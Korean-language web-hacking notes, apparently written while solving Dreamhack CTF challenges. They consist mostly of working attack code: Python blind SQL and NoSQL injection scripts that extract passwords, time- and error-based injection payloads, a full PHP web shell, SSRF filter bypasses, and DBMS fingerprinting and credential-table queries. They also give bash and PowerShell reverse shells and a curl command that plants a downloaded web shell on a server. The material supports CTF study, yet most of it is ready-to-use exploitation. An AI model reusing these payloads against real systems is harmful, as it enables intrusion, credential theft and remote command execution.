#!/usr/bin/python3 import requests import string # example URL url = 'http://example.com/login' params = { 'uid': '', 'upw': '' } # ascii printables tc = string.printable # 사용할 SQL Injection 쿼리 query = '''admin' and substr(upw,{idx},1)='{val}'-- ''' password = '' # 비밀번호 길이는 20자 이하라 가정 for idx in range(0, 20): for ch in tc: # query를 이용하여 Blind SQL Injection 시도 params['uid'] = query.format(idx=idx+1, val=ch).strip("\n") c = requests.get(url, params=params) print(c.request.url) # 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장 if c.text.find("Login success") != -1: password += ch break print(f"Password is {password}")
- 비밀번호 길이 추론 및 확인
- 비밀번호 길이 체크 핵심 :
f"((SELECT CHAR_LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
- 문자열 인코딩에 따른 정확한 길이 계산을 위해서는
LENGTH
보다CHAR_LENGTH
함수를 쓰는것이 더 확실하다.
- 문자열 인코딩에 따른 정확한 길이 계산을 위해서는
- 문자열이 한 바이트가 아닐 수도 있으므로 바이트 길이를 따로 계산한다.
bit_length = 0 while 1: bit_length += 1 f"SELECT * FROM users WHERE LENGTH(BIN(ORD(SUBSTR(password, {i}, 1)))) = {bit_length}-- -"
- 비밀번호 확인 핵심 :
f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
- 비밀번호 길이를 구한 후 첫 글짜부터 끝 글짜까지 하나씩 맞춰 나간다.
- ASCII로 표현되지 않는 글자의 경우, bit를 하나씩 맞춰 나가야 하므로 2중 반복문이 필요하다.
f"SELECT SUBSTR(BIN(ORD(SUBSTR(password, {i}, 1))), {j}, 1) = '1'-- -"
- 전체 bit 를 이어붙인 string 을 담은 ‘bits’ 변수를 다시 정수 형태로 변경하고, 이를 8byte씩 잘라 big endian 으로 변환하고(길이 계산에 주의), utf-8로 디코딩 한다.
for i in range(1, password_length + 1): password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
- 비밀번호 길이 체크 핵심 :
- python 코드
#!/usr/bin/python3 #!/usr/bin/python3 import requests import sys from urllib.parse import urljoin class Exploit: # initialization def __init__(self, base_url: str) -> None: self.base_url = base_url def _sqli_by_get(self, url:str) -> str: res = requests.get(self.base_url + url) print(url) return res def _sqli_by_post(self, data:str) -> str: res = requests.post(self.base_url, data=data) print(data) return res def _binsearch(self, query:str, key_word:str, low:int, high:int) -> int: while 1: mid = (low + high) // 2 print(low, mid, high) if low + 1 >= high: break if key_word in self._sqli_by_get(query.format(data_length=mid)).text: # TODO: 필요에따라 _sqli_by_get 혹은 _sqli_by_post 사용 high = mid else: low = mid return mid # attack methods def _find_data_length(self, query: str, key_word:str, max_data_len:int) -> int: data_len = self._binsearch(query, key_word, 0, max_data_len) return data_len def _find_data_bit_length(self, query:str, key_word:str, idx: int) -> str: bit_length = 0 while True: bit_length += 1 if key_word in self._sqli_by_get(query.format(idx=idx, bit_length=bit_length)).text: # TODO: 필요에따라 _sqli_by_get 혹은 _sqli_by_post 사용 break print(f"{idx}th bit length: {bit_length}") return bit_length def _guess_ascii_data(self, query:str, key_word:str, data_len: int) -> str: data = "" for idx in range(1, data_len + 1): pw += chr(self._binsearch(query, key_word, 0x2F, 0x7E)) print(f"{idx}. {data}") return data def _guess_bit_data(self, query1:str, query2:str, key_word:str, data_len: int) -> str: decoded_data = "" for i in range(data_len + 1): bits = "" # i번째 데이터가 몇 bit로 이루어진지 확인 bit_length = self._find_data_bit_length(query1, key_word, i) # i번째 데이터를 bit로 변경한 후 값 확인 for j in range(1, bit_length + 1): if key_word in self._sqli_by_get(query2.format(data_idx=i, bit_idx=j)).text: # TODO: 필요에따라 _sqli_by_get 혹은 _sqli_by_post 사용 bits += "1" else: bits += "0" print(f"bits: {bits}") # bit를 byte 단위로 묶어서 utf-8로 표현 decoded_data += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8") print(f"data: {decoded_data}") return decoded_data def solve(self, length_query:str, bit_length_query:str, guess_query:str, key_word:str, max_data_length:int) -> None: # Find the length of data data_len = self._find_data_length(length_query, key_word, max_data_length) print(f"Length : {data_len}") # Find the exact data data = self._guess_bit_data(bit_length_query, guess_query, key_word, data_len) print(f"Result : {data}") if __name__ == "__main__": port = '10671' base_url = f'http://host3.dreamhack.games:{port}/?uid=' column_name = 'upw' # 데이터의 길이가 data_length 인지 확인하기 위함 length_query = f"admin' AND CHAR_LENGTH({column_name}) < {{data_length}}-- -" # idx번째 문자를 bit로 표현했을 때 길이가 bit_length 인지 확인하기 위함 bit_length_query = f"admin' AND LENGTH(BIN(ORD(SUBSTR({column_name}, {{idx}}, 1)))) = {{bit_length}}-- -" # data_idx번째 문자를 bit로 환산하였을 때 bit_idx 위치가 1인지 확인하기 위함 guess_query = f"admin' and SUBSTR(BIN(ORD(SUBSTR({column_name}, {{data_idx}}, 1))), {{bit_idx}}, 1) = '1'-- -" key_word = 'exist' solver = Exploit(base_url) solver.solve(length_query, bit_length_query, guess_query, key_word, 100)
- ex)
LIMIT
함수를 이용해 출력 레코드 갯수를 한개로 제한,--
를 통해 뒤쪽 쿼리를 무력화SELECT * FROM users WHERE username = '' OR 1=1 LIMIT 0,1 -- ' ;
Blind NoSQL Injection
- 조건: url로 NoSQL 인자로 object 타입을 대입할 수 있다.
- 다음은 MongoDB를 사용하는 시스템에 대한 공격 예시이다.
$regex
구문을 사용하여 정규식으로 문자의 시작 ‘upw’ 키워드의 첫 글자 확인하는 쿼리# http://SERVER_URL?upw[$regex]=^a > db.user.find({upw: {$regex: "^a"}}) > db.user.find({upw: {$regex: "^b"}}) > db.user.find({upw: {$regex: "^c"}}) ... > db.user.find({upw: {$regex: "^g"}}) { "_id" : ObjectId("123456789123456789123456"), "uid" : "guest", "upw" : "guest" }
$where
와substring
조합을 활용해 첫 글자를 비교하는 방법> db.user.find({$where: "this.upw.substring(0,1)=='a'"}) > db.user.find({$where: "this.upw.substring(0,1)=='b'"}) > db.user.find({$where: "this.upw.substring(0,1)=='c'"}) ... > db.user.find({$where: "this.upw.substring(0,1)=='g'"}) { "_id" : ObjectId("123456789123456789123456"), "uid" : "guest", "upw" : "guest" }
> db.user.find({$where:"return 1==1"}) // 전체 레코드 출력 > db.user.find({uid:{$where:"return 1==1"}}) // 에러
- 위 조건문을 포함한 쿼리를 DB에 주입시키고 쿼리 실행 결과가 참이라면 공격자가 알아볼 수 있는 동작을 발생시켜야 한다.
- Time based Injection
- sleep 함수를 사용하여 응답지연 혹은 timeout을 유발시킨다.
> SUBSTRING((SELECT COUNT(*) FROM users WHERE name = "admin"), 1, 1) = 'a' AND SLEEP(10); > SUBSTRING((SELECT COUNT(*) FROM users WHERE name = "admin"), 1, 3) = 'abc' AND SLEEP(10); ... // AND 연산자 특성상 앞 구문이 false(0)이면 SLEEP이 실행되지 않기 때문에 결과를 예측할 수 있다. > SUBSTRING((SELECT COUNT(*) FROM users WHERE name = "admin"), 1, 2) = 'ab' && SLEEP(10); // AND 대신 && 를 사용할 수도 있다.
- 아니면 IF문을 직접 사용할 수도 있다.
SELECT IF(true, sleep(10), 0);
- BENCHMARK 함수도 실행에 오랜 시간이 걸리기에 시간 지연을 유발할 수 있다.
- ex)
BENCHMARK(40000000, SHA1(1));
- ex)
- sleep 함수를 사용하여 응답지연 혹은 timeout을 유발시킨다.
- Error based Injection
- 고의로 문법에 맞지않는 구문을 넣어 에러를 발생시킨다.
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf"});
- asdf 라는 에러가 발생
- debug 모드가 켜져있을 땐 에러에 에러 원인에 관한 구문이 출력되는 것을 이용해 원하는 데이터를 출력할 수도 있다.
- ex)
// SQL의 EXTRACTVALUE 구문과 sub query를 사용하여 비밀번호를 출력시킨다. SELECT extractvalue(123, concat(0x3a, (SELECT password FROM users WHERE username='admin'))); // 출력된 에러 구문은 다음과 같다. ERROR 1105 (HY000): XPATH syntax error: ':123456'
- CTXSYS.DRITHSX.SN, convert, cast 등의함수가 동일한 용도로 사용 될 수 있다.
- ex)
- Time based Injection
- python 자동화 코드
- 알파벳의 한 글자씩 ‘ch’ 변수에 대입하여 전체 ‘flag’ 를 찾아가는 과정. 비밀번호 포멧이 D?{} 형태임을 알고 있다는 가정 하에 구현
import requests, string HOST = 'http://localhost' ALPHANUMERIC = string.digits + string.ascii_letters SUCCESS = 'admin' flag = '' for i in range(32): for ch in ALPHANUMERIC: response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}') if response.text == SUCCESS: flag += ch break print(f'FLAG: DH{{{flag}}}')
- Redis 공격
- NodeJS에서 Redis 쿼리를 처리하는 라이브러리는 인자의 type에 따라 동작이 달라진다.
- 첫 번쨰 인자가 배열이면
[key, value] => Command(command, key, value)
로 동작한다. - 첫 번째 인자가 문자열이면
key, value, callback => Command(command, [key, value], callback)
로 동작한다. - 이를 이용해 value가 들어가야 할 자리에 [key, value] 를 조합한 배열을 집어넣으면 개발자의 의도와 다른 결과가 발생한다.
- 첫 번쨰 인자가 배열이면
- Redis는 유효하지 않은 명령어가 입력되어도 다음 명령어를 이어서 수행한다.
- ex)
echo -e "error making string\r\nget data" | nc 127.0.0.1 6379
: ‘get data’ 명령이 수행된다.
- ex)
- NodeJS에서 Redis 쿼리를 처리하는 라이브러리는 인자의 type에 따라 동작이 달라진다.
File Vulnerability
- 조건: 임의의 파일을 서버에 업로드하고, 로드할 수 있다.
- 아래는 php 의 Web shell 코드 예시이다. 아래를
.php
확장자로 생성하여 서버에 업로드하고, 서버에서 해당 파일을 로드하도록 유도하면 CGI 에 의해 서버에서 shell 명령어를 동작시킬 수 있다.
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?></pre></body></html>
SSRF (Server-side Request Forgery)
- 조건: local 에서 micro service를 구동하고 특정 port, url로 인터페이스를 구성한 경우
- “localhost” URL에 대한 필터링 우회
- 127.0.0.1 로 매핑된 도메인 서버 주소를 사용한다.
- 예를들어 “*.vcap.me” 도메인은 localhost URL로 매핑되어 있다.
- 127.0.0.1 은 아래와 같이 표현할 수도 있다.
- 0x7f.0x00.0x00.0x01 : 16진수로 풀어쓰기
- 0x7f000001 : 16진수로 풀어서 ‘.’ 생략
- 2130706433 : 10진수로 풀어서 ‘.’ 생략
- 127.1 : ‘0.0.’ 생략
- 127.0.1 : ‘0.’ 생략
- URL은 문자의 대소문자를 구별하지 않기 때문에 localhost 문자로만 필터링이 되어있다면 아래와 같이 우회가 가능하다.
- LocalHost, loCalhost, loaLHost, LOCALHOST
- 또한 127.0.0.1부터 127.0.0.255 까지의 IP는 루프백(loop-back) 주소라고 하여 모두 로컬 호스트를 가리킨다.
- 127.0.0.1 로 매핑된 도메인 서버 주소를 사용한다.
DBMS Fingerprinting
- 타깃의 DBMS를 확인하는 과정으로, DMBS의 종류와 버전을 알아내는 해킹의 첫 단계를 칭한다.
- 쿼리 결과 출력
@@version
,version()
등의 예약어나 함수로 버전 정보를 추출할 수 있다.SQLite : sqlite_version() => 3.11.0
MSSQL : @@version => Microsoft SQL Server ….
PostgreSQL : version() => PostgreSQL 12.2 (Debian 12.2-2.pgdg100+1) …
mysql : version() => 5.7.29-0ubuntu0.16.04. …
- blind sql injection 기법으로 버전 정보를 하나씩 추론 해 나갈 수도 있다.
- 에러 출력
- 에러 매시지가 출력된다면, DBMS의 컬럼 명 혹은 테이블 명이 에러 메시지에 포함되도록 유도할 수 있다.
- DBMS의 기본 세팅에서 사용하는 포트를 확인하여 DBMS의 종류를 추론할 수 있다.
DBMS마다 데이터베이스 실행에 필요한 주요 정보들을 저장한 System Table 을 보유하고 있고, 여기 든 정보들은 exploit 을 수행하는데 필요한 정보들이다.
- MySQL의
information_schema
: MySQL 서버에 존재하는 모든 다른 데이터베이스, 테이블, 컬럼, 인덱스, 권한, 문자셋 등 메타데이터를 저장하고 있는 시스템 데이터베이스로, 데이터를 저장하는 용도가 아니라, “데이터에 대한 정보"를 저장하는 가상 데이터베이스이다.SCHEMATA: 현재 MySQL 서버에 존재하는 모든 데이터베이스 목록
TABLES: 모든 데이터베이스의 테이블 정보 (이름, 타입, 엔진 등). TABLE_SCHEMA는 database를, TABLE_NAME는 database 안의 table을 표시한다.
COLUMNS: 모든 테이블의 컬럼 정보 (데이터 타입, NULL 여부, 기본값 등). TABLE_SCHEMA는 database를, TABLE_NAME는 database 안의 table을, COLUMN_NAME은 필드명을 표시한다.
STATISTICS: 인덱스 정보
KEY_COLUMN_USAGE: 외래 키 관계 정보
REFERENTIAL_CONSTRAINTS: 외래 키 제약 조건
VIEWS: 뷰(View)에 대한 정의 정보
CHARACTER_SETS: 지원하는 문자셋 정보
COLLATIONS: 문자셋의 정렬 방식 정보
USER_PRIVILEGES: 사용자 권한 목록 TABLE_CONSTRAINTS: PK, FK, UNIQUE 등 제약 조건 정보
PROCESSLIST: 현재 연결된 세션/쿼리 정보 (MySQL 8.0부터 PERFORMANCE_SCHEMA로 이동됨) - MySQL의
sys
: 실행중인 데이터베이스의 접속 및 권한 정보SESSION: 현재 접속한 유저의 정보
DATABASES: 데이터베이스 목록 - MySQL의
mysql
: mysql 시스템 정보USER: 유저의 이름 및 비밀번호 해싱값을 저장
- MSSQL의
..sysdatabases
: 특정 테이블 뒤에 붙여 데이터베이스 목록을 조회할 수 있다.- ex)
master..sysdatabases
master.dbo.sysdatabases
와 동일한 구문이다.
- ex)
- MSSQL에서
DB_NAME(0)
: 현재 데이터베이스의 이름 - MSSQL에서
sys.databases
: 데이터베이스 목록 - MSSQL에서
..sysobjects
: 특정 테이블 뒤에 ..sysobjects를 사용해 테이블에 접근할 수 있다.- ex)
mytable..sysobjects WHERE xtype = 'U';
- xtype = ‘U’ 는 유저가 정의한 테이블을 의미한다.
- ex)
- MSSQL에서
information_schema.tables
: 특정 데이터베이스 뒤에 사용해서 테이블 이름 접근 가능- ex)
SELECT table_name FROM mydatabase.information_schema.tables;
- ex)
- MSSQL에서
syscolumns
: database내 테이블의 컬럼들 접근 가능- sub query를 사용해서 특정 테이블 내의 컬럼들 확인 가능
- ex)
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'myTable');
- ex)
- sub query를 사용해서 특정 테이블 내의 컬럼들 확인 가능
- MSSQL에서
information_schema.columns
: 특정 데이터베이스 뒤에 사용해서 테이블의 컬럼 접근 가능- ex)
SELECT table_name, column_name FROM myDatabase.information_schema.columns
- ex)
- MSSQL에서
master.sys.sql_logins
: 서버의 계정정보- ex)
SELECT name, password_hash FROM master.sys.sql_logins
- ex)
- MSSQL의
master..syslogins
: 서버의 계정정보
- MySQL의
postgreSQL 의
pg_catalog.pg_namespace
: 데이터베이스 주요 정보를 포함한 스키마- ex)
postgres=$ select nspname from pg_catalog.pg_namespace;
- ex)
postgreSQL 의
information_schema.tables
: 데이터베이스 주요 정보를 포함한 테이블 이름- ex)
postgres=$ select table_name, table_name from information_schema.tables where table_schema='pg_catalog';
- ex)
postgreSQL 의
information_schema.tables.pg_shadow
: 게정정보와 비밀번호 해싱값postgreSQL 의
pg_catalog.pg_settings
: DBMS 설정 정보postgreSQL 의
pg_catalog.pg_stat_activity
: 실시간 쿼리 정보postgreSQL 의
information_schema.columns
: DB, 테이블, 컬럼 정보oracle의
all_tables
: 사용자가 접근 가능한 테이블 정보oracle의
all_tab_columns
: 사용자가 접근 가능한 테이블 정보oracle의
all_users
: 계정 정보SQLite의
sqlite_master
: 시스템 정보가 포함된 테이블
Couch DB exploiting
- CouchDB 는 HTTP 통신을 통해 원격으로 데이터를 저장, 조회 가능하도록 인터페이스가 구현되어 있다.
/_all_dbs
: 모든 데이터베이스 목록 반환_utils
: 관리자 페이지/{DB이름}/_all_docs
: DB 안에 포함된 모든 항목 반환/{DB이름}/_finds
: JSON 쿼리에 매칭되는 모든 항목 반환
/DB이름/_alldocs
로 접근을 차단하지 않았다면 해당 url에서 DB 정보를 획득할 수 있다.- couch DB는 noSQL 이고, object 형태의 쿼리를
/{DB이름}/_finds
url에 넣어 동작시킨다. 하지만 쿼리에 연산자가 포함되었는지 점금하지 않는다면 sql injection 공격이 가능하다.- 정상 :
{'selector': {'key': 'name', 'value': 'admin'}
- 공격쿼리 :
{'selector': {'key': 'name', 'value': {'$ne':''}}
- 정상 :
- 쿼리에 해당하는 값이 없을 떄 반환값은
undefined
이다. 이를 이용해 비교구문을 회피할 수 있다.if (result.pswd === req.body.pswd)
구문에서 req.body.pswd = undefined 로 세팅하고, 쿼리 결과 result에 pswd 필드가 없다면 result.pswd = undefined 가 된다./{DB이름}/_all_docs
으로 쿼리를 요청하면 쿼리 결과는 성공적으로 받아올 수 있지만 result에는 pswd 필드가 없어 exploit을 하기 적합하다.- ex)
{"key": "_all_docs"}
- ex)
Command Injection (Linux)
원격으로 쉘에 명령을 주입한 후 실행 결과를 확인할 수 없는 상황 일때 사용 가능한 방법은 다음과 같다.
- network outbound : 네트워크 도구를 서버에 설치하여 명령어 실행 결과를 전송하는 것
- 쉘 명령어의 파이프를 통해 명령어 실행 결과를 네트워크로 출력
- ne, telnet, wget, curl 등을 네트워크 파일이나 /dev/tcp, /dev/udp 등의 bash 기능을 사용 가능
- reverse shell : 공격 대상자의 시스템을 대상으로 shell 을 서비스 하는 것
- ex) 타깃 시스템에
/bin/sh -i >& /dev/tcp/127.0.0.1/8080 0>&1
명령어 실행 후 8080포트로 연결 시도
- ex) 타깃 시스템에
- bind shell : 특정 포트로 shell 을 서비스 하는 것
- 파일 : 특정 경로에 실행 결과를 파일로 남긴는 것
- network outbound : 네트워크 도구를 서버에 설치하여 명령어 실행 결과를 전송하는 것
보호기법 회피 방법
- IP주소를 long 형태로 세팅할 수 도 있다. (ex: 3232235521 = 192.168.0.1)
- 와일드카드로 문자열 필터링을 회피할 수 있다. (ex: /bin/ls = /bin/?s)
- ascii를 hex 데이터로 치환할 수 있다. (ex: id = \x69\x64, password=70617373776F7264)
Command Injection (Window)
- 윈도우는 리눅스와 메타문자가 다르기 때문에 윈도우 전용 메타문자를 확인하고 사용하여야 한다.
- ex:
$PATH
vs%PATH%
- ex:
- 윈도우는 자체적인 보안 시스템인 윈도우 디펜더가 기본적인 보안을 수행하고 있기 때문에 이를 우회해야 공격이 가능하다.
- 윈도우의 리버스 쉘
$tcp = New-Object System.Net.Sockets.TCPClient("IP주소",포트) $socket = $tcp.GetStream(); [byte[]]$inputs = 0..65535|%{0}; $encData = ([text.encoding]::ASCII).GetBytes($sendinputs); $socket.Write($encData,0,$encData.Length); $socket.Flush()
PHP exploit
- command injection & file vulnerability 를 이용한 공격이다.
- 조건 : php에서
shell_exec
명령어로 shell 명령어를 실행하며, 명령어를 url로 받는 경우- curl 명령을 실행시켜 web shell 을 서버에 저장시키고 이를 실행하는 방법으로 권한을 탈취한다. (file vulnerabiltiy)
escapeshellcmd
함수로 공격을 어느정도 방어할 수는 있지만, ‘-’ 문자열 자체를 필터링 하지는 않기 때문에 file vulnerability를 완전히 막을 수는없다.- ex)
shell_exec('curl '. escapeshellcmd($input));
- ex)
- github 의 webshell 파일을
curl -o
커맨드로 특정 위치에 다운받도록 한다.- ex)
curl%20https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php%20-o%20/var/www/html/cache/webshell.php
- cache/webshell.php 에 접속하면 주입한 웹쉘을 실행시킬 수 있다.
- ex)